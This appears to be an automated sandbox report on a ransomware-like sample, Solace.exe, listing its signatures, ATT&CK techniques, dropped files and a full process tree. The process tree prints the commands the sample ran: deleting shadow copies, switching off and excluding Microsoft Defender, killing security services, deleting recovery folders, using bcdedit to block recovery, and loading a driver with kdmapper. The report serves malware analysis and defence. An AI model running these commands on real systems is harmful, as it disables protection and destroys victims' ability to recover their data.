Overview

overview

10

Static

static

3

Solace.exe

windows10-2004-x64

10

Solace.exe

windows11-ltsc_2024-x64

Analysis

  • max time kernel
    5s
  • max time network
    28s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/09/2026, 19:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    Solace.exe
  • Size 4.2MB
  • Sample260903-xtjpdsek3s
  • SHA256 1726cb7826ca3687d4e8f20d28cff02a34dbc6500ada6bd62217620603137443
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionexploitimpactpersistenceransomwaretrojan

Malware Config

Signatures

  • Modifies Windows Defender notification settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • UAC bypass 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 18 IoCs
    ransomwareevasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 20 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 6 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 56 IoCs
    persistence
  • Possible privilege escalation attempt 4 IoCs
    exploit
  • Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 2 IoCs

    Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

    defense_evasion
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Executes dropped EXE 1 IoCs
  • Modifies file permissions 1 TTPs 4 IoCs
    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    defense_evasiontrojan
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 24 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Kills process with taskkill 8 IoCs
    defense_evasion
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • System policy modification 1 TTPs 6 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Solace.exe
    "C:\Users\Admin\AppData\Local\Temp\Solace.exe"
    1⤵
    • Modifies Windows Defender notification settings
    • UAC bypass
    • Event Triggered Execution: Image File Execution Options Injection
    • Checks whether UAC is enabled
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4232
    • C:\Windows\System32\Wbem\wmic.exe
      wmic shadowcopy delete
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4104
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\Solace.exe' -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:5812
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionExtension '.exe' -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2252
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Disables one or more Microsoft Defender components
      PID:3796
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Disables one or more Microsoft Defender components
      PID:6100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Disables one or more Microsoft Defender components
      PID:320
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -EnableControlledFolderAccess Disabled"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4884
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -PUAProtection Disabled"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3440
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -SubmitSamplesConsent 2"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Disables automatic submission of suspicious files to Microsoft by Windows Defender
      PID:5856
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -MAPSReporting 0"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:6056
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c taskkill /F /IM MsMpEng.exe 2>nul
      2⤵
      • Executes a command shell one-liner
      PID:5372
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM MsMpEng.exe
        3⤵
        • Kills process with taskkill
        PID:1392
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c taskkill /F /IM SecurityHealthService.exe 2>nul
      2⤵
      • Executes a command shell one-liner
      PID:6100
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM SecurityHealthService.exe
        3⤵
        • Kills process with taskkill
        PID:3000
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c taskkill /F /IM NisSrv.exe 2>nul
      2⤵
      • Executes a command shell one-liner
      PID:252
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM NisSrv.exe
        3⤵
        • Kills process with taskkill
        PID:5996
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c taskkill /F /IM SgrmBroker.exe 2>nul
      2⤵
      • Executes a command shell one-liner
      PID:5112
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM SgrmBroker.exe
        3⤵
        • Kills process with taskkill
        PID:5528
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c net stop WinDefend /y 2>nul
      2⤵
      • Executes a command shell one-liner
      PID:3180
      • C:\Windows\system32\net.exe
        net stop WinDefend /y
        3⤵
          PID:1096
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop WinDefend /y
            4⤵
              PID:4152
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c sc config WinDefend start= disabled 2>nul
          2⤵
          • Executes a command shell one-liner
          PID:5964
          • C:\Windows\system32\sc.exe
            sc config WinDefend start= disabled
            3⤵
            • Launches sc.exe
            PID:3724
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c reagentc /disable 2>nul
          2⤵
          • Executes a command shell one-liner
          PID:1384
          • C:\Windows\system32\ReAgentc.exe
            reagentc /disable
            3⤵
              PID:2632
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c chkntfs /x C: 2>nul
            2⤵
            • Executes a command shell one-liner
            PID:6088
            • C:\Windows\system32\chkntfs.exe
              chkntfs /x C:
              3⤵
                PID:4120
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c takeown /f C:\Recovery /r /d y 2>nul
              2⤵
              • Executes a command shell one-liner
              PID:1500
              • C:\Windows\system32\takeown.exe
                takeown /f C:\Recovery /r /d y
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:5836
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c icacls C:\Recovery /grant %username%:F /t 2>nul
              2⤵
              • Executes a command shell one-liner
              PID:4300
              • C:\Windows\system32\icacls.exe
                icacls C:\Recovery /grant Admin:F /t
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:1056
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c rd /s /q C:\Recovery 2>nul
              2⤵
              • Executes a command shell one-liner
              PID:4924
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c rd /s /q C:\Windows\System32\Recovery 2>nul
              2⤵
              • Executes a command shell one-liner
              PID:5572
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit /set {globalsettings} advancedbootoptions No
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:4620
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit /set {globalsettings} optionsedit No
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:5900
            • C:\Windows\SYSTEM32\reagentc.exe
              reagentc /disable
              2⤵
                PID:1184
              • C:\Windows\SYSTEM32\bcdedit.exe
                bcdedit /set {default} recoveryenabled No
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:5036
              • C:\Windows\SYSTEM32\bcdedit.exe
                bcdedit /set {default} bootstatuspolicy ignoreallfailures
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:2368
              • C:\Windows\SYSTEM32\bcdedit.exe
                bcdedit /set {bootmgr} displaybootmenu No
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:5192
              • C:\Windows\SYSTEM32\bcdedit.exe
                bcdedit /set {current} advancedoptions No
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:2728
              • C:\Windows\SYSTEM32\bcdedit.exe
                bcdedit /deletevalue {current} recoverysequence
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:1660
              • C:\Windows\SYSTEM32\bcdedit.exe
                bcdedit /set {default} recoverysequence {00000000-0000-0000-0000-000000000000}
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:5536
              • C:\Windows\SYSTEM32\bcdedit.exe
                bcdedit /set {default} recoveryenabled No
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:4796
              • C:\Users\Admin\AppData\Local\Temp\kdmapper.exe
                "C:\Users\Admin\AppData\Local\Temp\kdmapper.exe" --free "C:\Users\Admin\AppData\Local\Temp\testdriver.sys"
                2⤵
                  PID:3524
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1680
              • C:\ProgramData\Microsoft\Windows\WindowsUpdateService.exe
                C:\ProgramData\Microsoft\Windows\WindowsUpdateService.exe
                1⤵
                • Modifies Windows Defender notification settings
                • UAC bypass
                • Event Triggered Execution: Image File Execution Options Injection
                • Executes dropped EXE
                • Checks whether UAC is enabled
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                • System policy modification
                PID:2016
                • C:\Windows\System32\Wbem\wmic.exe
                  wmic shadowcopy delete
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2696
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows' -ErrorAction SilentlyContinue"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2876
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Add-MpPreference -ExclusionProcess 'C:\ProgramData\Microsoft\Windows\WindowsUpdateService.exe' -ErrorAction SilentlyContinue"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:2180
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Add-MpPreference -ExclusionExtension '.exe' -ErrorAction SilentlyContinue"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:5168
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Disables one or more Microsoft Defender components
                  PID:3860
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Disables one or more Microsoft Defender components
                  PID:2036
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Disables one or more Microsoft Defender components
                  PID:1084
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Set-MpPreference -EnableControlledFolderAccess Disabled"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:4384
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Set-MpPreference -PUAProtection Disabled"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:5844
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Set-MpPreference -SubmitSamplesConsent 2"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Disables automatic submission of suspicious files to Microsoft by Windows Defender
                  PID:4620
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Set-MpPreference -MAPSReporting 0"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:5876
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c taskkill /F /IM MsMpEng.exe 2>nul
                  2⤵
                  • Executes a command shell one-liner
                  PID:6120
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /IM MsMpEng.exe
                    3⤵
                    • Kills process with taskkill
                    PID:6092
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c taskkill /F /IM SecurityHealthService.exe 2>nul
                  2⤵
                  • Executes a command shell one-liner
                  PID:2444
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /IM SecurityHealthService.exe
                    3⤵
                    • Kills process with taskkill
                    PID:2612
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c taskkill /F /IM NisSrv.exe 2>nul
                  2⤵
                  • Executes a command shell one-liner
                  PID:3472
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /IM NisSrv.exe
                    3⤵
                    • Kills process with taskkill
                    PID:5816
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c taskkill /F /IM SgrmBroker.exe 2>nul
                  2⤵
                  • Executes a command shell one-liner
                  PID:1656
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /IM SgrmBroker.exe
                    3⤵
                    • Kills process with taskkill
                    PID:2544
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c net stop WinDefend /y 2>nul
                  2⤵
                  • Executes a command shell one-liner
                  PID:2488
                  • C:\Windows\system32\net.exe
                    net stop WinDefend /y
                    3⤵
                      PID:4384
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 stop WinDefend /y
                        4⤵
                          PID:3768
                    • C:\Windows\SYSTEM32\cmd.exe
                      cmd.exe /c sc config WinDefend start= disabled 2>nul
                      2⤵
                      • Executes a command shell one-liner
                      PID:5508
                      • C:\Windows\system32\sc.exe
                        sc config WinDefend start= disabled
                        3⤵
                        • Launches sc.exe
                        PID:2704
                    • C:\Windows\SYSTEM32\cmd.exe
                      cmd.exe /c reagentc /disable 2>nul
                      2⤵
                      • Executes a command shell one-liner
                      PID:4724
                      • C:\Windows\system32\ReAgentc.exe
                        reagentc /disable
                        3⤵
                          PID:1040
                      • C:\Windows\SYSTEM32\cmd.exe
                        cmd.exe /c chkntfs /x C: 2>nul
                        2⤵
                        • Executes a command shell one-liner
                        PID:1932
                        • C:\Windows\system32\chkntfs.exe
                          chkntfs /x C:
                          3⤵
                            PID:3872
                        • C:\Windows\SYSTEM32\cmd.exe
                          cmd.exe /c takeown /f C:\Recovery /r /d y 2>nul
                          2⤵
                          • Executes a command shell one-liner
                          PID:5448
                          • C:\Windows\system32\takeown.exe
                            takeown /f C:\Recovery /r /d y
                            3⤵
                            • Possible privilege escalation attempt
                            • Modifies file permissions
                            PID:1584
                        • C:\Windows\SYSTEM32\cmd.exe
                          cmd.exe /c icacls C:\Recovery /grant %username%:F /t 2>nul
                          2⤵
                          • Executes a command shell one-liner
                          PID:1240
                          • C:\Windows\system32\icacls.exe
                            icacls C:\Recovery /grant Admin:F /t
                            3⤵
                            • Possible privilege escalation attempt
                            • Modifies file permissions
                            PID:1360
                        • C:\Windows\SYSTEM32\cmd.exe
                          cmd.exe /c rd /s /q C:\Recovery 2>nul
                          2⤵
                          • Executes a command shell one-liner
                          PID:1268
                        • C:\Windows\SYSTEM32\cmd.exe
                          cmd.exe /c rd /s /q C:\Windows\System32\Recovery 2>nul
                          2⤵
                          • Executes a command shell one-liner
                          PID:3840
                        • C:\Windows\SYSTEM32\bcdedit.exe
                          bcdedit /set {globalsettings} advancedbootoptions No
                          2⤵
                          • Modifies boot configuration data using bcdedit
                          PID:1516
                        • C:\Windows\SYSTEM32\bcdedit.exe
                          bcdedit /set {globalsettings} optionsedit No
                          2⤵
                          • Modifies boot configuration data using bcdedit
                          PID:4820
                        • C:\Windows\SYSTEM32\reagentc.exe
                          reagentc /disable
                          2⤵
                            PID:4392
                          • C:\Windows\SYSTEM32\bcdedit.exe
                            bcdedit /set {default} recoveryenabled No
                            2⤵
                            • Modifies boot configuration data using bcdedit
                            PID:3288
                          • C:\Windows\SYSTEM32\bcdedit.exe
                            bcdedit /set {default} bootstatuspolicy ignoreallfailures
                            2⤵
                            • Modifies boot configuration data using bcdedit
                            PID:2888
                          • C:\Windows\SYSTEM32\bcdedit.exe
                            bcdedit /set {bootmgr} displaybootmenu No
                            2⤵
                            • Modifies boot configuration data using bcdedit
                            PID:6068
                          • C:\Windows\SYSTEM32\bcdedit.exe
                            bcdedit /set {current} advancedoptions No
                            2⤵
                            • Modifies boot configuration data using bcdedit
                            PID:3748
                          • C:\Windows\SYSTEM32\bcdedit.exe
                            bcdedit /deletevalue {current} recoverysequence
                            2⤵
                            • Modifies boot configuration data using bcdedit
                            PID:324
                          • C:\Windows\SYSTEM32\bcdedit.exe
                            bcdedit /set {default} recoverysequence {00000000-0000-0000-0000-000000000000}
                            2⤵
                            • Modifies boot configuration data using bcdedit
                            PID:4644
                          • C:\Windows\SYSTEM32\bcdedit.exe
                            bcdedit /set {default} recoveryenabled No
                            2⤵
                            • Modifies boot configuration data using bcdedit
                            PID:3980
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
                          1⤵
                            PID:1960
                          • C:\Windows\system32\LogonUI.exe
                            "LogonUI.exe" /flags:0x4 /state0:0xa39fd055 /state1:0x41c64e6d
                            1⤵
                              PID:4280
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k GPSvcGroup
                              1⤵
                                PID:3828
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k CameraMonitor
                                1⤵
                                  PID:1584

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Reconnaissance

                                      Resource Development

                                      Initial Access

                                      Execution

                                      Command and Scripting Interpreter

                                      2
                                      T1059

                                      PowerShell

                                      1
                                      T1059.001

                                      Windows Command Shell

                                      1
                                      T1059.003

                                      System Services

                                      1
                                      T1569

                                      Service Execution

                                      1
                                      T1569.002

                                      Windows Management Instrumentation

                                      1
                                      T1047

                                      Persistence

                                      Create or Modify System Process

                                      2
                                      T1543

                                      Windows Service

                                      2
                                      T1543.003

                                      Event Triggered Execution

                                      1
                                      T1546

                                      Image File Execution Options Injection

                                      1
                                      T1546.012

                                      Privilege Escalation

                                      Abuse Elevation Control Mechanism

                                      1
                                      T1548

                                      Bypass User Account Control

                                      1
                                      T1548.002

                                      Create or Modify System Process

                                      2
                                      T1543

                                      Windows Service

                                      2
                                      T1543.003

                                      Event Triggered Execution

                                      1
                                      T1546

                                      Image File Execution Options Injection

                                      1
                                      T1546.012

                                      Defense Evasion

                                      Abuse Elevation Control Mechanism

                                      1
                                      T1548

                                      Bypass User Account Control

                                      1
                                      T1548.002

                                      File and Directory Permissions Modification

                                      1
                                      T1222

                                      Impair Defenses

                                      4
                                      T1562

                                      Disable or Modify Tools

                                      4
                                      T1562.001

                                      Indicator Removal

                                      1
                                      T1070

                                      File Deletion

                                      1
                                      T1070.004

                                      Modify Registry

                                      3
                                      T1112

                                      Credential Access

                                      Discovery

                                      Query Registry

                                      1
                                      T1012

                                      System Information Discovery

                                      1
                                      T1082

                                      Lateral Movement

                                      Collection

                                      Command and Control

                                      Exfiltration

                                      Impact

                                      Inhibit System Recovery

                                      2
                                      T1490

                                      Service Stop

                                      1
                                      T1489

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      WindowsUpdateService.exe
                                      • Path C:\ProgramData\Microsoft\Windows\WindowsUpdateService.exe
                                      • Size 4.2MB
                                      • SHA256 1726cb7826ca3687d4e8f20d28cff02a34dbc6500ada6bd62217620603137443
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 e86ea29d5aaa9164cc3269e41b61e7ae574db7ed89ad3391ac83a29aee93c4ab
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 222f10e8ce2317e99402a6965f29f479b9cf68887a204bd8a82cb25b56c1de1a
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 c3eca1ec6f65452a3a8c3b797f54095da9dd00543cf6f3838b583d961f906869
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 a35e726856c2421c14340d94c5d6f54282dc06536f6c8677ee515d6c56363072
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 c0a9a0415d656ef96dde8247c1ff09cd16775eb2986f61024a943d03a82b63b2
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 6e195845504aa823d393fce591d97eac44961a87f3863d3d0d4bcdcf43dcef37
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 2307028c768767d7f131a8c5b416037f6bc975943dec7491be7a5738777dbd1c
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      StartupProfileData-NonInteractive
                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                      • Size 1KB
                                      • SHA256 99a5a863f82d412cb158c0273d2d358f0b00d6b30e8961c2e2eabd4e1e0a34f8
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      __PSScriptPolicyTest_1fo1fb4c.ydo.ps1
                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1fo1fb4c.ydo.ps1
                                      • Size 60B
                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      kdmapper.exe
                                      • Path C:\Users\Admin\AppData\Local\Temp\kdmapper.exe
                                      • Size 150KB
                                      • SHA256 02b4c1bb174f45d9e88509cc5187a55c4aadd360155c44413831ef5eb54f5b06
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      testdriver.sys
                                      • Path C:\Users\Admin\AppData\Local\Temp\testdriver.sys
                                      • Size 24KB
                                      • SHA256 fe8fd3a18db52c6b4704df5095dd8ea135e6a244dfe8de2c2912e4864b5ddedc
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ReAgent.log
                                      • Path C:\Windows\Logs\ReAgent\ReAgent.log
                                      • Size 2KB
                                      • SHA256 193e9827f9bd6c52022f039597e70f5b9a67f920bc0ba87d8312a772eafe8b3d
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      ReAgent.log
                                      • Path C:\Windows\Logs\ReAgent\ReAgent.log
                                      • Size 6KB
                                      • SHA256 f47715719525e9f551335bb0fe3a2e53103e230387b16ef5208444a95f422fcf
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ReAgent.log
                                      • Path C:\Windows\Logs\ReAgent\ReAgent.log
                                      • Size 8KB
                                      • SHA256 288c68059c58eae2a97f7a6e61d487a9d69f24f7b252b3d1b4077d3d5eb6641d
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      diagerr.xml
                                      • Path C:\Windows\Panther\UnattendGC\diagerr.xml
                                      • Size 14KB
                                      • SHA256 092f57a55c8815a3778978bf0a80876e86abdbd1a8653582aeada17f883ed60d
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      diagerr.xml
                                      • Path C:\Windows\Panther\UnattendGC\diagerr.xml
                                      • Size 16KB
                                      • SHA256 d3f67467b77901811ae34db01c0f7c2a7fb9974d14d713555c418529186b1966
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      diagerr.xml
                                      • Path C:\Windows\Panther\UnattendGC\diagerr.xml
                                      • Size 18KB
                                      • SHA256 9f60b65271e799c00765d947ff481f5b4c40db0a56cffa38c91cc800e4884cf4
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      diagwrn.xml
                                      • Path C:\Windows\Panther\UnattendGC\diagwrn.xml
                                      • Size 15KB
                                      • SHA256 95e33e94372bf88c1f097e26571ccbf27d004a334bd2ffb9e609df32ba7311e5
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      diagwrn.xml
                                      • Path C:\Windows\Panther\UnattendGC\diagwrn.xml
                                      • Size 19KB
                                      • SHA256 cdf26d0639ef46d0e3afd75683b4d51469bd0864cc9563d5258d4081e6beed66
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      diagwrn.xml
                                      • Path C:\Windows\Panther\UnattendGC\diagwrn.xml
                                      • Size 23KB
                                      • SHA256 f2afb6dbb99df539a64f067c06ae666f0be518e09c293bb426872b316ed9d395
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      setuperr.log
                                      • Path C:\Windows\Panther\UnattendGC\setuperr.log
                                      • Size 1KB
                                      • SHA256 d8b3c1143ad2569d22b79514f64dedeb64714521e651b092e1c6ce8137b318c8
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      setuperr.log
                                      • Path C:\Windows\Panther\UnattendGC\setuperr.log
                                      • Size 1KB
                                      • SHA256 32848bd8dc633cda1c8a2d937cceedb728f81ad5b8ab87385fc1b1b676e2ec1c
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      ReAgent.xml
                                      • Path C:\Windows\system32\Recovery\ReAgent.xml
                                      • Size 1KB
                                      • SHA256 07f0adce301905f1b9b29e7ee60ec456c81c46a58fe747000f64972a3f669e90
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      memory/2016-40-0x0000000140000000-0x000000014031B000-memory.dmp
                                      Download

                                      memory/2016-42-0x0000000140000000-0x000000014031B000-memory.dmp
                                      Download

                                      memory/2016-39-0x0000000140000000-0x000000014031B000-memory.dmp
                                      Download

                                      memory/2016-97-0x0000000140000000-0x000000014031B000-memory.dmp
                                      Download

                                      memory/2016-43-0x0000000140000000-0x000000014031B000-memory.dmp
                                      Download

                                      memory/2016-44-0x0000000140000000-0x000000014031B000-memory.dmp
                                      Download

